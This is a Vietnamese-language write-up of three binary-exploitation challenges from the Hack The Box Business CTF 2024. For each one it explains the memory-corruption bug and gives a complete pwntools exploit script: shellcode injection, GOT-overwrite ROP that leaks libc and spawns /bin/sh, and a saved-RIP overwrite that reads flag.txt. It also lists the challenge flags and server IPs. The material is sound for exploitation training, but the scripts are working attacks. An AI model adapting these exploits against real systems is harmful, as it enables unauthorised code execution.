---
# System prepended metadata

title: Hack The Box - Business CTF 2024

---

# Hack The Box - Business CTF 2024

# Regularity
* **check file + checksec + IDA**
    ![image](https://hackmd.io/_uploads/BJBObN37A.png)
    
    ![image](https://hackmd.io/_uploads/Hkx9-Nn7A.png)
    - **IDA**
        **`_start`**
    ![image](https://hackmd.io/_uploads/Hy_rZ43mR.png)
        **`read`**
        ![image](https://hackmd.io/_uploads/B1EMINnQC.png)

* **BUG:**
    - lỗi buffer overflow: `read()` edx=0x110 trong khi chỉ set phần buffer nhập vào 0x100 byte
    - NX disable: cho phép thực thi shellcode -> ret2shellcode
    - Dừng ở ret ở hàm read():
    ![image](https://hackmd.io/_uploads/Bykw_N270.png)
    
       ![image](https://hackmd.io/_uploads/SyQOuE270.png)

* **Khai thác:**
      - Tận dụng lỗi bof để overwrite saved rip của read thành `call/jump` rsi.
      - Công cụ rop gadget:
      ![image](https://hackmd.io/_uploads/H1Wot42QR.png)

* **Script:**
```
    #!/usr/bin/env python3

    from pwn import *


    def s(p,data):
        p.send(data)
    def sl(p,data):
        p.sendline(data)
    def sla(p,msg,data):
        p.sendlineafter(msg,data)
    def sa(p,msg,data):
        p.sendafter(msg,data)
    def rl(p):
        l=p.recvline()
        return l
    def ru(p,msg):
        l=p.recvuntil(msg)
        return l
    def r(p,size):
        l=p.recv(size)
        return l

    def intFromByte(p,size):
        o = p.recv(size)[::-1].hex()
        output = '0x' + o
        leak = int(output,16)
        return leak

    def GDB(p):
        gdb.attach(p,gdbscript='''
            b*0x000000000040101e
            c
        ''')
        input()

    def main():
        context.binary = exe = ELF("./regularity", checksec=False)
        # libc = ELF("./",checksec=False)
        # ld = ELF("./",checksec=False)
        p = process(exe.path)
        # p=remote('94.237.63.135',35980)
        GDB(p)
        shellcode = asm(shellcraft.sh())
        shellcode =shellcode.ljust(256,b'\x00') +p64(0x0000000000401041)
        sla(p,b'these days?\n',shellcode)
        p.interactive()
    if __name__ == "__main__":
        main()
        # HTB{juMp1nG_w1tH_tH3_r3gIsT3rS?_e89a82a9a29cce817529e60b130d6587}

    
```

# no_gadget
* **check file + checksec + IDA**
    ![image](https://hackmd.io/_uploads/BJBObN37A.png)
    
    ![image](https://hackmd.io/_uploads/rJJxs42XR.png)
    - **IDA**
        **`main`**
    ![image](https://hackmd.io/_uploads/SkvFiN270.png)

* **BUG:**
    - lỗi **`buffer overflow`**: mảng **`buf[128]`** nhưng **`fgets()`** cho phép nhập `0x1337` byte. 
    - **`main`** có check size bằng **`strlen()`** nhưng hàm này chỉ đếm byte trước byte `NULL` nên hoàn toàn có thể **`bypass`** chỗ này.
* **Khai thác:**
    - Chương trình không có **`system`**, lại cho **`file libc:`** có thể là **`ret2libc`** và để sử kĩ thuật cần 2 cv
        - leak địa chỉ **`libc base`**.
        - thực thi hàm **`system`** trong libc.
    - Tận dụng lỗi **`BOF`** để overwrite **`saved rip`** của main() -> Kĩ thuật **`rop chain`**
    - Tuy nhiên, như tên thì challenge không có những gadget thường gặp như **`pop rdi`** để leak libc, hay lấy shell.
    - Nhưng chúng ta có **`pop rbp`**:
    ![image](https://hackmd.io/_uploads/rJ04p4h7A.png)
    -> Từ gadget này chúng ta có thể dùng kĩ thuật **`pivot`** + **`BOF`** để tiếp tục ghi vào **`1 vị trí khác`**. 
    - Đọc mã ASM của main:
    ![image](https://hackmd.io/_uploads/H1CNlB2XA.png)
    -> Để **`leak libc`** chúng ta sẽ cần điều khiển được nội dung in ra nhưng ở đây challenge lại kiểm soát bằng **`rip`** chứ không phải **`rbp`**(mà rip thì no hope cmnr)
    - Tuy nhiên, chúng ta vẫn còn 1 chút niềm tin bám víu vào hàm **`fgets`** và **`strlen`** có kiểm soát đối số bằng **`rbp`** và điều tuyệt hơn là **`Relro:Partial`**(điều này có nghĩa là có thể overwrite **`GOT`**) 
    - Vậy quyết định sẽ sử dụng **`strlen()`** để leak libc bằng cách overwrite GOT thành **`call puts`**
        - Ở đây chúng ta sẽ overwrite GOT của **`strlen()`** -> **`0x0000000000401251`** để khi call **`strlen()`** sẽ nhảy đến đó và cũng nhằm mục đích sử dụng lệnh call **`exit(`**) để loop vị trí call **`fgets`** từ đó đưa payload tiếp theo.
        - Tiếp theo, là sẽ **`pivot`** vào vị trí nào: Với mục tiệu overwrite **`GOT`** vì vậy chúng ta sẽ overwrite từ vị trí **`GOT`** của puts bởi vì địa chỉ libc của puts sẽ được đưa vào **`GOT puts`** khi puts được gọi và chúng ta có thể leak nó.
        - Cuối cùng overwrite **`GOT exit()`** -> **`0x000000000040121b`** (vị trị call fgets)
        ![image](https://hackmd.io/_uploads/r1JJLBnQA.png)
          => Vậy là leak được libc.
    - Sau khi có **`libc base`**, chương trình sẽ loop lại fgets , chúng ta sẽ overwrite got puts thành sring **`"/bin/sh"`** để làm đối số, còn GOT **`strlen()->system()`**
* **Script:**
```
    #!/usr/bin/env python3

    from pwn import *


    def s(p,data):
        p.send(data)
    def sl(p,data):
        p.sendline(data)
    def sla(p,msg,data):
        p.sendlineafter(msg,data)
    def sa(p,msg,data):
        p.sendafter(msg,data)
    def rl(p):
        l=p.recvline()
        return l
    def ru(p,msg):
        l=p.recvuntil(msg)
        return l
    def r(p,size):
        l=p.recv(size)
        return l

    def intFromByte(p,size):
        o = p.recv(size)[::-1].hex()
        output = '0x' + o
        leak = int(output,16)
        return leak

    def GDB(p):
        gdb.attach(p,gdbscript='''
        b*main+158
        c
        ''')
        input()
    def main():
        context.binary = exe = ELF("./no_gadgets",checksec=False)
        libc = ELF("./libc.so.6",checksec=False)
        ld = ELF("./ld-2.35.so",checksec=False)
        # p = process(exe.path)
        # GDB(p)
        p = remote('94.237.63.100',45155)
        ##################### change read-write location part 1 ###################
        rw=0x404000
        gets=0x000000000040121b
        payload=b'\x00'*128+p64(rw+0x80)+p64(gets)
        sla(p,b'Data: ',payload)

        puts=0x0000000000401251
        payload = p64(0x401036)+p64(puts)+p64(0x401056)+p64(0x401066)+p64(0x401076)+p64(gets)
        sl(p,payload)
        ru(p,b'\x0a')

        leak = intFromByte(p,6)
        print("leak:",hex(leak))
        libc.address=leak-(0x7f5c36480ed0-0x00007f5c36400000)
        print("libc:",hex(libc.address))
        binsh='/bin/sh\x00'.encode()
        system =libc.address+0x0000000000050d60

        payload = binsh+p64(system)+p64(0x401056)+p64(0x401066)+p64(0x401076)+p64(gets)
        sl(p,payload)
        p.interactive()

    if __name__ == "__main__":
        main()
        # HTB{wh0_n3eD5_rD1_wH3n_Y0u_h@v3_rBp!!!_9fa80d7e403478d67531cbbb8eab9925}

```

# abyss

* **check file + checksec + IDA**
    ![image](https://hackmd.io/_uploads/S1CppdMVC.png)
    
    ![image](https://hackmd.io/_uploads/HJA1A_MV0.png)
    - **source code**


* **BUG:**
    - Cách chương trình hoạt động: 
        - Sau khi vào hàm **`cmd_login`**: **`read(buf,512)`** để nhập user, password với format sau:
            `USER [user muốn đăng nhập]`
            `PASS [password muốn đăng nhập]`
            -> Sau đó copy user,pass vào 2 chuỗi buffer **`user[]`**, **`pass[]`**
        - Sau đó cách hàm này copy chính là vấn đề lớn:
        ![image](https://hackmd.io/_uploads/ByxcGcfNC.png)
        
            ![image](https://hackmd.io/_uploads/B15nz5MN0.png)
    
    - Hàm này copy bằng cách: Copy toàn bộ chuỗi phía trước byte **`NULL`**, nhìn thoáng qua nó hoàn toàn ổn vì ban đầu đã đưa các byte trong buffer về NULL tuy nhiên lại cho phép người dùng nhập bằng hàm **`read()`** ( hàm này hoàn toàn không bắt buộc thêm NULL byte để kết thúc buffer ) và hoàn toàn **`pass[]`** có thể copy **`user[]`** => Lỗi **`out-of-bound`** + **`buffer overflow`**
        

* **Khai thác:**
    - Tận dụng lỗi OOB để copy buffer thuộc user[] vào phần buffer nằm ngoài pass[] 
    - Phần buffer bị OOB có chứa địa chỉ saved rip của cmd_login: overwrite saved rip
    - Hàm cmd_read: ![image](https://hackmd.io/_uploads/HyrSIqfNC.png)
    -> Cho phép đọc file có tên do người dùng nhập vào.
* **Script:**
```
    #!/usr/bin/env python3

    from pwn import *


    def s(p,data):
        p.send(data)
    def sl(p,data):
        p.sendline(data)
    def sla(p,msg,data):
        p.sendlineafter(msg,data)
    def sa(p,msg,data):
        p.sendafter(msg,data)
    def rl(p):
        l=p.recvline()
        return l
    def ru(p,msg):
        l=p.recvuntil(msg)
        return l
    def r(p,size):
        l=p.recv(size)
        return l

    def intFromByte(p,size):
        o = p.recv(size)[::-1].hex()
        output = '0x' + o
        leak = int(output,16)
        return leak

    def GDB(p):
        gdb.attach(p,gdbscript='''
        b*0x0000000000401331
        b*0x00000000004013C1
        b*0x00000000004013DA
        b*0x0000000000401462
        c
        ''')
        input()

    def main():
        context.binary = exe = ELF("./abyss", checksec=False)
        # libc = ELF("./",checksec=False)
        # ld = ELF("./",checksec=False)
        p = process(exe.path)
        # GDB(p)
        s(p,p32(0x00))
        payload1=b"USER " + b"AAAAAAAAAAAAAAAAA\x1cAAAAAAAAAAA" + p32(0x00000000004014eb)
        s(p,payload1)
        payload2=b'PASS ' +b'a'*(512-5)
        s(p,payload2)
        s(p,b'flag.txt')
        p.interactive()

    if __name__ == "__main__":
        main()
        # HTB{sH0u1D_h4v3-NU11-t3rmIn4tEd_buf!}

    
```